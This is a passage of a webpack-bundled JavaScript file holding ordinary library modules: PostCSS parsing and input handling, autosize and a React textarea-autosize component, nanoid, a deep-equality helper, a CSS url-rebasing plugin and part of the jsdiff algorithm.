3841
3842"use strict";
3843
3844
3845let Container = __webpack_require__(683)
3846let Input = __webpack_require__(5380)
3847let Parser = __webpack_require__(3937)
3848
3849function parse(css, opts) {
3850 let input = new Input(css, opts)
3851 let parser = new Parser(input)
3852 try {
3853 parser.parse()
3854 } catch (e) {
3855 if (false) {}
3856 throw e
3857 }
3858
3859 return parser.root
3860}
3861
3862module.exports = parse
3863parse.default = parse
3864
3865Container.registerParse(parse)
3866
3867
3868/***/ }),
3869
3870/***/ 4306:
3871/***/ (function(module, exports) {
3872
3873var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
3874 autosize 4.0.4
3875 license: MIT
3876 http://www.jacklmoore.com/autosize
3877*/
3878(function (global, factory) {
3879 if (true) {
3880 !(__WEBPACK_AMD_DEFINE_ARRAY__ = [module, exports], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
3881 __WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
3882 (__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
3883 __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
3884 } else { var mod; }
3885})(this, function (module, exports) {
3886 'use strict';
3887
3888 var map = typeof Map === "function" ? new Map() : function () {
3889 var keys = [];
3890 var values = [];
3891
3892 return {
3893 has: function has(key) {
3894 return keys.indexOf(key) > -1;
3895 },
3896 get: function get(key) {
3897 return values[keys.indexOf(key)];
3898 },
3899 set: function set(key, value) {
3900 if (keys.indexOf(key) === -1) {
3901 keys.push(key);
3902 values.push(value);
3903 }
3904 },
3905 delete: function _delete(key) {
3906 var index = keys.indexOf(key);
3907 if (index > -1) {
3908 keys.splice(index, 1);
3909 values.splice(index, 1);
3910 }
3911 }
3912 };
3913 }();
3914
3915 var createEvent = function createEvent(name) {
3916 return new Event(name, { bubbles: true });
3917 };
3918 try {
3919 new Event('test');
3920 } catch (e) {
3921 // IE does not support `new Event()`
3922 createEvent = function createEvent(name) {
3923 var evt = document.createEvent('Event');
3924 evt.initEvent(name, true, false);
3925 return evt;
3926 };
3927 }
3928
3929 function assign(ta) {
3930 if (!ta || !ta.nodeName || ta.nodeName !== 'TEXTAREA' || map.has(ta)) return;
3931
3932 var heightOffset = null;
3933 var clientWidth = null;
3934 var cachedHeight = null;
3935
3936 function init() {
3937 var style = window.getComputedStyle(ta, null);
3938
3939 if (style.resize === 'vertical') {
3940 ta.style.resize = 'none';
3941 } else if (style.resize === 'both') {
3942 ta.style.resize = 'horizontal';
3943 }
3944
3945 if (style.boxSizing === 'content-box') {
3946 heightOffset = -(parseFloat(style.paddingTop) + parseFloat(style.paddingBottom));
3947 } else {
3948 heightOffset = parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth);
3949 }
3950 // Fix when a textarea is not on document body and heightOffset is Not a Number
3951 if (isNaN(heightOffset)) {
3952 heightOffset = 0;
3953 }
3954
3955 update();
3956 }
3957
3958 function changeOverflow(value) {
3959 {
3960 // Chrome/Safari-specific fix:
3961 // When the textarea y-overflow is hidden, Chrome/Safari do not reflow the text to account for the space
3962 // made available by removing the scrollbar. The following forces the necessary text reflow.
3963 var width = ta.style.width;
3964 ta.style.width = '0px';
3965 // Force reflow:
3966 /* jshint ignore:start */
3967 ta.offsetWidth;
3968 /* jshint ignore:end */
3969 ta.style.width = width;
3970 }
3971
3972 ta.style.overflowY = value;
3973 }
3974
3975 function getParentOverflows(el) {
3976 var arr = [];
3977
3978 while (el && el.parentNode && el.parentNode instanceof Element) {
3979 if (el.parentNode.scrollTop) {
3980 arr.push({
3981 node: el.parentNode,
3982 scrollTop: el.parentNode.scrollTop
3983 });
3984 }
3985 el = el.parentNode;
3986 }
3987
3988 return arr;
3989 }
3990
3991 function resize() {
3992 if (ta.scrollHeight === 0) {
3993 // If the scrollHeight is 0, then the element probably has display:none or is detached from the DOM.
3994 return;
3995 }
3996
3997 var overflows = getParentOverflows(ta);
3998 var docTop = document.documentElement && document.documentElement.scrollTop; // Needed for Mobile IE (ticket #240)
3999
4000 ta.style.height = '';
4001 ta.style.height = ta.scrollHeight + heightOffset + 'px';
4002
4003 // used to check if an update is actually necessary on window.resize
4004 clientWidth = ta.clientWidth;
4005
4006 // prevents scroll-position jumping
4007 overflows.forEach(function (el) {
4008 el.node.scrollTop = el.scrollTop;
4009 });
4010
4011 if (docTop) {
4012 document.documentElement.scrollTop = docTop;
4013 }
4014 }
4015
4016 function update() {
4017 resize();
4018
4019 var styleHeight = Math.round(parseFloat(ta.style.height));
4020 var computed = window.getComputedStyle(ta, null);
4021
4022 // Using offsetHeight as a replacement for computed.height in IE, because IE does not account use of border-box
4023 var actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(computed.height)) : ta.offsetHeight;
4024
4025 // The actual height not matching the style height (set via the resize method) indicates that
4026 // the max-height has been exceeded, in which case the overflow should be allowed.
4027 if (actualHeight < styleHeight) {
4028 if (computed.overflowY === 'hidden') {
4029 changeOverflow('scroll');
4030 resize();
4031 actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
4032 }
4033 } else {
4034 // Normally keep overflow set to hidden, to avoid flash of scrollbar as the textarea expands.
4035 if (computed.overflowY !== 'hidden') {
4036 changeOverflow('hidden');
4037 resize();
4038 actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
4039 }
4040 }
4041
4042 if (cachedHeight !== actualHeight) {
4043 cachedHeight = actualHeight;
4044 var evt = createEvent('autosize:resized');
4045 try {
4046 ta.dispatchEvent(evt);
4047 } catch (err) {
4048 // Firefox will throw an error on dispatchEvent for a detached element
4049 // https://bugzilla.mozilla.org/show_bug.cgi?id=889376
4050 }
4051 }
4052 }
4053
4054 var pageResize = function pageResize() {
4055 if (ta.clientWidth !== clientWidth) {
4056 update();
4057 }
4058 };
4059
4060 var destroy = function (style) {
4061 window.removeEventListener('resize', pageResize, false);
4062 ta.removeEventListener('input', update, false);
4063 ta.removeEventListener('keyup', update, false);
4064 ta.removeEventListener('autosize:destroy', destroy, false);
4065 ta.removeEventListener('autosize:update', update, false);
4066
4067 Object.keys(style).forEach(function (key) {
4068 ta.style[key] = style[key];
4069 });
4070
4071 map.delete(ta);
4072 }.bind(ta, {
4073 height: ta.style.height,
4074 resize: ta.style.resize,
4075 overflowY: ta.style.overflowY,
4076 overflowX: ta.style.overflowX,
4077 wordWrap: ta.style.wordWrap
4078 });
4079
4080 ta.addEventListener('autosize:destroy', destroy, false);
4081
4082 // IE9 does not fire onpropertychange or oninput for deletions,
4083 // so binding to onkeyup to catch most of those events.
4084 // There is no way that I know of to detect something like 'cut' in IE9.
4085 if ('onpropertychange' in ta && 'oninput' in ta) {
4086 ta.addEventListener('keyup', update, false);
4087 }
4088
4089 window.addEventListener('resize', pageResize, false);
4090 ta.addEventListener('input', update, false);
4091 ta.addEventListener('autosize:update', update, false);
4092 ta.style.overflowX = 'hidden';
4093 ta.style.wordWrap = 'break-word';
4094
4095 map.set(ta, {
4096 destroy: destroy,
4097 update: update
4098 });
4099
4100 init();
4101 }
4102
4103 function destroy(ta) {
4104 var methods = map.get(ta);
4105 if (methods) {
4106 methods.destroy();
4107 }
4108 }
4109
4110 function update(ta) {
4111 var methods = map.get(ta);
4112 if (methods) {
4113 methods.update();
4114 }
4115 }
4116
4117 var autosize = null;
4118
4119 // Do nothing in Node.js environment and IE8 (or lower)
4120 if (typeof window === 'undefined' || typeof window.getComputedStyle !== 'function') {
4121 autosize = function autosize(el) {
4122 return el;
4123 };
4124 autosize.destroy = function (el) {
4125 return el;
4126 };
4127 autosize.update = function (el) {
4128 return el;
4129 };
4130 } else {
4131 autosize = function autosize(el, options) {
4132 if (el) {
4133 Array.prototype.forEach.call(el.length ? el : [el], function (x) {
4134 return assign(x, options);
4135 });
4136 }
4137 return el;
4138 };
4139 autosize.destroy = function (el) {
4140 if (el) {
4141 Array.prototype.forEach.call(el.length ? el : [el], destroy);
4142 }
4143 return el;
4144 };
4145 autosize.update = function (el) {
4146 if (el) {
4147 Array.prototype.forEach.call(el.length ? el : [el], update);
4148 }
4149 return el;
4150 };
4151 }
4152
4153 exports.default = autosize;
4154 module.exports = exports['default'];
4155});
4156
4157/***/ }),
4158
4159/***/ 4462:
4160/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
4161
4162"use strict";
4163
4164var __extends = (this && this.__extends) || (function () {
4165 var extendStatics = Object.setPrototypeOf ||
4166 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
4167 function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
4168 return function (d, b) {
4169 extendStatics(d, b);
4170 function __() { this.constructor = d; }
4171 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
4172 };
4173})();
4174var __assign = (this && this.__assign) || Object.assign || function(t) {
4175 for (var s, i = 1, n = arguments.length; i < n; i++) {
4176 s = arguments[i];
4177 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
4178 t[p] = s[p];
4179 }
4180 return t;
4181};
4182var __rest = (this && this.__rest) || function (s, e) {
4183 var t = {};
4184 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
4185 t[p] = s[p];
4186 if (s != null && typeof Object.getOwnPropertySymbols === "function")
4187 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) if (e.indexOf(p[i]) < 0)
4188 t[p[i]] = s[p[i]];
4189 return t;
4190};
4191exports.__esModule = true;
4192var React = __webpack_require__(1609);
4193var PropTypes = __webpack_require__(5826);
4194var autosize = __webpack_require__(4306);
4195var _getLineHeight = __webpack_require__(461);
4196var getLineHeight = _getLineHeight;
4197var RESIZED = "autosize:resized";
4198/**
4199 * A light replacement for built-in textarea component
4200 * which automaticaly adjusts its height to match the content
4201 */
4202var TextareaAutosizeClass = /** @class */ (function (_super) {
4203 __extends(TextareaAutosizeClass, _super);
4204 function TextareaAutosizeClass() {
4205 var _this = _super !== null && _super.apply(this, arguments) || this;
4206 _this.state = {
4207 lineHeight: null
4208 };
4209 _this.textarea = null;
4210 _this.onResize = function (e) {
4211 if (_this.props.onResize) {
4212 _this.props.onResize(e);
4213 }
4214 };
4215 _this.updateLineHeight = function () {
4216 if (_this.textarea) {
4217 _this.setState({
4218 lineHeight: getLineHeight(_this.textarea)
4219 });
4220 }
4221 };
4222 _this.onChange = function (e) {
4223 var onChange = _this.props.onChange;
4224 _this.currentValue = e.currentTarget.value;
4225 onChange && onChange(e);
4226 };
4227 return _this;
4228 }
4229 TextareaAutosizeClass.prototype.componentDidMount = function () {
4230 var _this = this;
4231 var _a = this.props, maxRows = _a.maxRows, async = _a.async;
4232 if (typeof maxRows === "number") {
4233 this.updateLineHeight();
4234 }
4235 if (typeof maxRows === "number" || async) {
4236 /*
4237 the defer is needed to:
4238 - force "autosize" to activate the scrollbar when this.props.maxRows is passed
4239 - support StyledComponents (see #71)
4240 */
4241 setTimeout(function () { return _this.textarea && autosize(_this.textarea); });
4242 }
4243 else {
4244 this.textarea && autosize(this.textarea);
4245 }
4246 if (this.textarea) {
4247 this.textarea.addEventListener(RESIZED, this.onResize);
4248 }
4249 };
4250 TextareaAutosizeClass.prototype.componentWillUnmount = function () {
4251 if (this.textarea) {
4252 this.textarea.removeEventListener(RESIZED, this.onResize);
4253 autosize.destroy(this.textarea);
4254 }
4255 };
4256 TextareaAutosizeClass.prototype.render = function () {
4257 var _this = this;
4258 var _a = this, _b = _a.props, onResize = _b.onResize, maxRows = _b.maxRows, onChange = _b.onChange, style = _b.style, innerRef = _b.innerRef, children = _b.children, props = __rest(_b, ["onResize", "maxRows", "onChange", "style", "innerRef", "children"]), lineHeight = _a.state.lineHeight;
4259 var maxHeight = maxRows && lineHeight ? lineHeight * maxRows : null;
4260 return (React.createElement("textarea", __assign({}, props, { onChange: this.onChange, style: maxHeight ? __assign({}, style, { maxHeight: maxHeight }) : style, ref: function (element) {
4261 _this.textarea = element;
4262 if (typeof _this.props.innerRef === 'function') {
4263 _this.props.innerRef(element);
4264 }
4265 else if (_this.props.innerRef) {
4266 _this.props.innerRef.current = element;
4267 }
4268 } }), children));
4269 };
4270 TextareaAutosizeClass.prototype.componentDidUpdate = function () {
4271 this.textarea && autosize.update(this.textarea);
4272 };
4273 TextareaAutosizeClass.defaultProps = {
4274 rows: 1,
4275 async: false
4276 };
4277 TextareaAutosizeClass.propTypes = {
4278 rows: PropTypes.number,
4279 maxRows: PropTypes.number,
4280 onResize: PropTypes.func,
4281 innerRef: PropTypes.any,
4282 async: PropTypes.bool
4283 };
4284 return TextareaAutosizeClass;
4285}(React.Component));
4286exports.TextareaAutosize = React.forwardRef(function (props, ref) {
4287 return React.createElement(TextareaAutosizeClass, __assign({}, props, { innerRef: ref }));
4288});
4289
4290
4291/***/ }),
4292
4293/***/ 4725:
4294/***/ ((module) => {
4295
4296function stringifyNode(node, custom) {
4297 var type = node.type;
4298 var value = node.value;
4299 var buf;
4300 var customResult;
4301
4302 if (custom && (customResult = custom(node)) !== undefined) {
4303 return customResult;
4304 } else if (type === "word" || type === "space") {
4305 return value;
4306 } else if (type === "string") {
4307 buf = node.quote || "";
4308 return buf + value + (node.unclosed ? "" : buf);
4309 } else if (type === "comment") {
4310 return "/*" + value + (node.unclosed ? "" : "*/");
4311 } else if (type === "div") {
4312 return (node.before || "") + value + (node.after || "");
4313 } else if (Array.isArray(node.nodes)) {
4314 buf = stringify(node.nodes, custom);
4315 if (type !== "function") {
4316 return buf;
4317 }
4318 return (
4319 value +
4320 "(" +
4321 (node.before || "") +
4322 buf +
4323 (node.after || "") +
4324 (node.unclosed ? "" : ")")
4325 );
4326 }
4327 return value;
4328}
4329
4330function stringify(nodes, custom) {
4331 var result, i;
4332
4333 if (Array.isArray(nodes)) {
4334 result = "";
4335 for (i = nodes.length - 1; ~i; i -= 1) {
4336 result = stringifyNode(nodes[i], custom) + result;
4337 }
4338 return result;
4339 }
4340 return stringifyNode(nodes, custom);
4341}
4342
4343module.exports = stringify;
4344
4345
4346/***/ }),
4347
4348/***/ 5042:
4349/***/ ((module) => {
4350
4351// This alphabet uses `A-Za-z0-9_-` symbols.
4352// The order of characters is optimized for better gzip and brotli compression.
4353// References to the same file (works both for gzip and brotli):
4354// `'use`, `andom`, and `rict'`
4355// References to the brotli default dictionary:
4356// `-26T`, `1983`, `40px`, `75px`, `bush`, `jack`, `mind`, `very`, and `wolf`
4357let urlAlphabet =
4358 'useandom-26T198340PX75pxJACKVERYMINDBUSHWOLF_GQZbfghjklqvwyzrict'
4359
4360let customAlphabet = (alphabet, defaultSize = 21) => {
4361 return (size = defaultSize) => {
4362 let id = ''
4363 // A compact alternative for `for (var i = 0; i < step; i++)`.
4364 let i = size | 0
4365 while (i--) {
4366 // `| 0` is more compact and faster than `Math.floor()`.
4367 id += alphabet[(Math.random() * alphabet.length) | 0]
4368 }
4369 return id
4370 }
4371}
4372
4373let nanoid = (size = 21) => {
4374 let id = ''
4375 // A compact alternative for `for (var i = 0; i < step; i++)`.
4376 let i = size | 0
4377 while (i--) {
4378 // `| 0` is more compact and faster than `Math.floor()`.
4379 id += urlAlphabet[(Math.random() * 64) | 0]
4380 }
4381 return id
4382}
4383
4384module.exports = { nanoid, customAlphabet }
4385
4386
4387/***/ }),
4388
4389/***/ 5215:
4390/***/ ((module) => {
4391
4392"use strict";
4393
4394
4395// do not edit .js files directly - edit src/index.jst
4396
4397
4398
4399module.exports = function equal(a, b) {
4400 if (a === b) return true;
4401
4402 if (a && b && typeof a == 'object' && typeof b == 'object') {
4403 if (a.constructor !== b.constructor) return false;
4404
4405 var length, i, keys;
4406 if (Array.isArray(a)) {
4407 length = a.length;
4408 if (length != b.length) return false;
4409 for (i = length; i-- !== 0;)
4410 if (!equal(a[i], b[i])) return false;
4411 return true;
4412 }
4413
4414
4415
4416 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
4417 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
4418 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
4419
4420 keys = Object.keys(a);
4421 length = keys.length;
4422 if (length !== Object.keys(b).length) return false;
4423
4424 for (i = length; i-- !== 0;)
4425 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
4426
4427 for (i = length; i-- !== 0;) {
4428 var key = keys[i];
4429
4430 if (!equal(a[key], b[key])) return false;
4431 }
4432
4433 return true;
4434 }
4435
4436 // true if both NaN, false otherwise
4437 return a!==a && b!==b;
4438};
4439
4440
4441/***/ }),
4442
4443/***/ 5380:
4444/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
4445
4446"use strict";
4447
4448
4449let { nanoid } = __webpack_require__(5042)
4450let { isAbsolute, resolve } = __webpack_require__(197)
4451let { SourceMapConsumer, SourceMapGenerator } = __webpack_require__(1866)
4452let { fileURLToPath, pathToFileURL } = __webpack_require__(2739)
4453
4454let CssSyntaxError = __webpack_require__(356)
4455let PreviousMap = __webpack_require__(5696)
4456let terminalHighlight = __webpack_require__(9746)
4457
4458let lineToIndexCache = Symbol('lineToIndexCache')
4459
4460let sourceMapAvailable = Boolean(SourceMapConsumer && SourceMapGenerator)
4461let pathAvailable = Boolean(resolve && isAbsolute)
4462
4463function getLineToIndex(input) {
4464 if (input[lineToIndexCache]) return input[lineToIndexCache]
4465 let lines = input.css.split('\n')
4466 let lineToIndex = new Array(lines.length)
4467 let prevIndex = 0
4468
4469 for (let i = 0, l = lines.length; i < l; i++) {
4470 lineToIndex[i] = prevIndex
4471 prevIndex += lines[i].length + 1
4472 }
4473
4474 input[lineToIndexCache] = lineToIndex
4475 return lineToIndex
4476}
4477
4478class Input {
4479 get from() {
4480 return this.file || this.id
4481 }
4482
4483 constructor(css, opts = {}) {
4484 if (
4485 css === null ||
4486 typeof css === 'undefined' ||
4487 (typeof css === 'object' && !css.toString)
4488 ) {
4489 throw new Error(`PostCSS received ${css} instead of CSS string`)
4490 }
4491
4492 this.css = css.toString()
4493
4494 if (this.css[0] === '\uFEFF' || this.css[0] === '\uFFFE') {
4495 this.hasBOM = true
4496 this.css = this.css.slice(1)
4497 } else {
4498 this.hasBOM = false
4499 }
4500
4501 this.document = this.css
4502 if (opts.document) this.document = opts.document.toString()
4503
4504 if (opts.from) {
4505 if (
4506 !pathAvailable ||
4507 /^\w+:\/\//.test(opts.from) ||
4508 isAbsolute(opts.from)
4509 ) {
4510 this.file = opts.from
4511 } else {
4512 this.file = resolve(opts.from)
4513 }
4514 }
4515
4516 if (pathAvailable && sourceMapAvailable) {
4517 let map = new PreviousMap(this.css, opts)
4518 if (map.text) {
4519 this.map = map
4520 let file = map.consumer().file
4521 if (!this.file && file) this.file = this.mapResolve(file)
4522 }
4523 }
4524
4525 if (!this.file) {
4526 this.id = '<input css ' + nanoid(6) + '>'
4527 }
4528 if (this.map) this.map.file = this.from
4529 }
4530
4531 error(message, line, column, opts = {}) {
4532 let endColumn, endLine, endOffset, offset, result
4533
4534 if (line && typeof line === 'object') {
4535 let start = line
4536 let end = column
4537 if (typeof start.offset === 'number') {
4538 offset = start.offset
4539 let pos = this.fromOffset(offset)
4540 line = pos.line
4541 column = pos.col
4542 } else {
4543 line = start.line
4544 column = start.column
4545 offset = this.fromLineAndColumn(line, column)
4546 }
4547 if (typeof end.offset === 'number') {
4548 endOffset = end.offset
4549 let pos = this.fromOffset(endOffset)
4550 endLine = pos.line
4551 endColumn = pos.col
4552 } else {
4553 endLine = end.line
4554 endColumn = end.column
4555 endOffset = this.fromLineAndColumn(end.line, end.column)
4556 }
4557 } else if (!column) {
4558 offset = line
4559 let pos = this.fromOffset(offset)
4560 line = pos.line
4561 column = pos.col
4562 } else {
4563 offset = this.fromLineAndColumn(line, column)
4564 }
4565
4566 let origin = this.origin(line, column, endLine, endColumn)
4567 if (origin) {
4568 result = new CssSyntaxError(
4569 message,
4570 origin.endLine === undefined
4571 ? origin.line
4572 : { column: origin.column, line: origin.line },
4573 origin.endLine === undefined
4574 ? origin.column
4575 : { column: origin.endColumn, line: origin.endLine },
4576 origin.source,
4577 origin.file,
4578 opts.plugin
4579 )
4580 } else {
4581 result = new CssSyntaxError(
4582 message,
4583 endLine === undefined ? line : { column, line },
4584 endLine === undefined ? column : { column: endColumn, line: endLine },
4585 this.css,
4586 this.file,
4587 opts.plugin
4588 )
4589 }
4590
4591 result.input = { column, endColumn, endLine, endOffset, line, offset, source: this.css }
4592 if (this.file) {
4593 if (pathToFileURL) {
4594 result.input.url = pathToFileURL(this.file).toString()
4595 }
4596 result.input.file = this.file
4597 }
4598
4599 return result
4600 }
4601
4602 fromLineAndColumn(line, column) {
4603 let lineToIndex = getLineToIndex(this)
4604 let index = lineToIndex[line - 1]
4605 return index + column - 1
4606 }
4607
4608 fromOffset(offset) {
4609 let lineToIndex = getLineToIndex(this)
4610 let lastLine = lineToIndex[lineToIndex.length - 1]
4611
4612 let min = 0
4613 if (offset >= lastLine) {
4614 min = lineToIndex.length - 1
4615 } else {
4616 let max = lineToIndex.length - 2
4617 let mid
4618 while (min < max) {
4619 mid = min + ((max - min) >> 1)
4620 if (offset < lineToIndex[mid]) {
4621 max = mid - 1
4622 } else if (offset >= lineToIndex[mid + 1]) {
4623 min = mid + 1
4624 } else {
4625 min = mid
4626 break
4627 }
4628 }
4629 }
4630 return {
4631 col: offset - lineToIndex[min] + 1,
4632 line: min + 1
4633 }
4634 }
4635
4636 mapResolve(file) {
4637 if (/^\w+:\/\//.test(file)) {
4638 return file
4639 }
4640 return resolve(this.map.consumer().sourceRoot || this.map.root || '.', file)
4641 }
4642
4643 origin(line, column, endLine, endColumn) {
4644 if (!this.map) return false
4645 let consumer = this.map.consumer()
4646
4647 let from = consumer.originalPositionFor({ column, line })
4648 if (!from.source) return false
4649
4650 let to
4651 if (typeof endLine === 'number') {
4652 to = consumer.originalPositionFor({ column: endColumn, line: endLine })
4653 }
4654
4655 let fromUrl
4656
4657 if (isAbsolute(from.source)) {
4658 fromUrl = pathToFileURL(from.source)
4659 } else {
4660 fromUrl = new URL(
4661 from.source,
4662 this.map.consumer().sourceRoot || pathToFileURL(this.map.mapFile)
4663 )
4664 }
4665
4666 let result = {
4667 column: from.column,
4668 endColumn: to && to.column,
4669 endLine: to && to.line,
4670 line: from.line,
4671 url: fromUrl.toString()
4672 }
4673
4674 if (fromUrl.protocol === 'file:') {
4675 if (fileURLToPath) {
4676 result.file = fileURLToPath(fromUrl)
4677 } else {
4678 /* c8 ignore next 2 */
4679 throw new Error(`file: protocol is not available in this PostCSS build`)
4680 }
4681 }
4682
4683 let source = consumer.sourceContentFor(from.source)
4684 if (source) result.source = source
4685
4686 return result
4687 }
4688
4689 toJSON() {
4690 let json = {}
4691 for (let name of ['hasBOM', 'css', 'file', 'id']) {
4692 if (this[name] != null) {
4693 json[name] = this[name]
4694 }
4695 }
4696 if (this.map) {
4697 json.map = { ...this.map }
4698 if (json.map.consumerCache) {
4699 json.map.consumerCache = undefined
4700 }
4701 }
4702 return json
4703 }
4704}
4705
4706module.exports = Input
4707Input.default = Input
4708
4709if (terminalHighlight && terminalHighlight.registerInput) {
4710 terminalHighlight.registerInput(Input)
4711}
4712
4713
4714/***/ }),
4715
4716/***/ 5404:
4717/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
4718
4719const CSSValueParser = __webpack_require__(1544)
4720
4721/**
4722 * @type {import('postcss').PluginCreator}
4723 */
4724module.exports = (opts) => {
4725
4726 const DEFAULTS = {
4727 skipHostRelativeUrls: true,
4728 }
4729 const config = Object.assign(DEFAULTS, opts)
4730
4731 return {
4732 postcssPlugin: 'rebaseUrl',
4733
4734 Declaration(decl) {
4735 // The faster way to find Declaration node
4736 const parsedValue = CSSValueParser(decl.value)
4737
4738 let valueChanged = false
4739 parsedValue.walk(node => {
4740 if (node.type !== 'function' || node.value !== 'url') {
4741 return
4742 }
4743
4744 const urlVal = node.nodes[0].value
4745
4746 // bases relative URLs with rootUrl
4747 const basedUrl = new URL(urlVal, opts.rootUrl)
4748
4749 // skip host-relative, already normalized URLs (e.g. `/images/image.jpg`, without `..`s)
4750 if ((basedUrl.pathname === urlVal) && config.skipHostRelativeUrls) {
4751 return false // skip this value
4752 }
4753
4754 node.nodes[0].value = basedUrl.toString()
4755 valueChanged = true
4756
4757 return false // do not walk deeper
4758 })
4759
4760 if (valueChanged) {
4761 decl.value = CSSValueParser.stringify(parsedValue)
4762 }
4763
4764 }
4765 }
4766}
4767
4768module.exports.postcss = true
4769
4770
4771/***/ }),
4772
4773/***/ 5417:
4774/***/ ((__unused_webpack_module, exports) => {
4775
4776"use strict";
4777/*istanbul ignore start*/
4778
4779
4780Object.defineProperty(exports, "__esModule", ({
4781 value: true
4782}));
4783exports["default"] = Diff;
4784
4785/*istanbul ignore end*/
4786function Diff() {}
4787
4788Diff.prototype = {
4789 /*istanbul ignore start*/
4790
4791 /*istanbul ignore end*/
4792 diff: function diff(oldString, newString) {
4793 /*istanbul ignore start*/
4794 var
4795 /*istanbul ignore end*/
4796 options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
4797 var callback = options.callback;
4798
4799 if (typeof options === 'function') {
4800 callback = options;
4801 options = {};
4802 }
4803
4804 this.options = options;
4805 var self = this;
4806
4807 function done(value) {
4808 if (callback) {
4809 setTimeout(function () {
4810 callback(undefined, value);
4811 }, 0);
4812 return true;
4813 } else {
4814 return value;
4815 }
4816 } // Allow subclasses to massage the input prior to running
4817
4818
4819 oldString = this.castInput(oldString);
4820 newString = this.castInput(newString);
4821 oldString = this.removeEmpty(this.tokenize(oldString));
4822 newString = this.removeEmpty(this.tokenize(newString));
4823 var newLen = newString.length,
4824 oldLen = oldString.length;
4825 var editLength = 1;
4826 var maxEditLength = newLen + oldLen;
4827 var bestPath = [{
4828 newPos: -1,
4829 components: []
4830 }]; // Seed editLength = 0, i.e. the content starts with the same values
4831
4832 var oldPos = this.extractCommon(bestPath[0], newString, oldString, 0);
4833
4834 if (bestPath[0].newPos + 1 >= newLen && oldPos + 1 >= oldLen) {
4835 // Identity per the equality and tokenizer
4836 return done([{
4837 value: this.join(newString),
4838 count: newString.length
4839 }]);
4840 } // Main worker method. checks all permutations of a given edit length for acceptance.
4841
4842
4843 function execEditLength() {
4844 for (var diagonalPath = -1 * editLength; diagonalPath <= editLength; diagonalPath += 2) {
4845 var basePath =
4846 /*istanbul ignore start*/
4847 void 0
4848 /*istanbul ignore end*/
4849 ;
4850
4851 var addPath = bestPath[diagonalPath - 1],
4852 removePath = bestPath[diagonalPath + 1],
4853 _oldPos = (removePath ? removePath.newPos : 0) - diagonalPath;
4854
4855 if (addPath) {
4856 // No one else is going to attempt to use this value, clear it
4857 bestPath[diagonalPath - 1] = undefined;
4858 }
4859
4860 var canAdd = addPath && addPath.newPos + 1 < newLen,
4861 canRemove = removePath && 0 <= _oldPos && _oldPos < oldLen;
4862
4863 if (!canAdd && !canRemove) {
4864 // If this path is a terminal then prune
4865 bestPath[diagonalPath] = undefined;
4866 continue;
4867 } // Select the diagonal that we want to branch from. We select the prior
4868 // path whose position in the new string is the farthest from the origin
4869 // and does not pass the bounds of the diff graph
4870
4871
4872 if (!canAdd || canRemove && addPath.newPos < removePath.newPos) {
4873 basePath = clonePath(removePath);
4874 self.pushComponent(basePath.components, undefined, true);
4875 } else {
4876 basePath = addPath; // No need to clone, we've pulled it from the list
4877
4878 basePath.newPos++;
4879 self.pushComponent(basePath.components, true, undefined);
4880 }
4881
4882 _oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath); // If we have hit the end of both strings, then we are done
4883
4884 if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {
4885 return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));
4886 } else {
4887 // Otherwise track this path as a potential candidate and continue.
4888 bestPath[diagonalPath] = basePath;
4889 }
4890 }
4891
4892 editLength++;
4893 } // Performs the length of edit iteration. Is a bit fugly as this has to support the
4894 // sync and async mode which is never fun. Loops over execEditLength until a value
4895 // is produced.
4896
4897
4898 if (callback) {
4899 (function exec() {
4900 setTimeout(function () {
4901 // This should not happen, but we want to be safe.
4902
4903 /* istanbul ignore next */
4904 if (editLength > maxEditLength) {
4905 return callback();
4906 }
4907
4908 if (!execEditLength()) {
4909 exec();
4910 }
4911 }, 0);
4912 })();
4913 } else {
4914 while (editLength <= maxEditLength) {
4915 var ret = execEditLength();
4916
4917 if (ret) {
4918 return ret;
4919 }
4920 }
4921 }
4922 },
4923
4924 /*istanbul ignore start*/
4925
4926 /*istanbul ignore end*/
4927 pushComponent: function pushComponent(components, added, removed) {
4928 var last = components[components.length - 1];
4929
4930 if (last && last.added === added && last.removed === removed) {
4931 // We need to clone here as the component clone operation is just
4932 // as shallow array clone
4933 components[components.length - 1] = {
4934 count: last.count + 1,
4935 added: added,
4936 removed: removed
4937 };
4938 } else {
4939 components.push({
4940 count: 1,
4941 added: added,
4942 removed: removed
4943 });
4944 }
4945 },
4946
4947 /*istanbul ignore start*/
4948
4949 /*istanbul ignore end*/
4950 extractCommon: function extractCommon(basePath, newString, oldString, diagonalPath) {
4951 var newLen = newString.length,
4952 oldLen = oldString.length,
4953 newPos = basePath.newPos,
4954 oldPos = newPos - diagonalPath,
4955 commonCount = 0;
4956
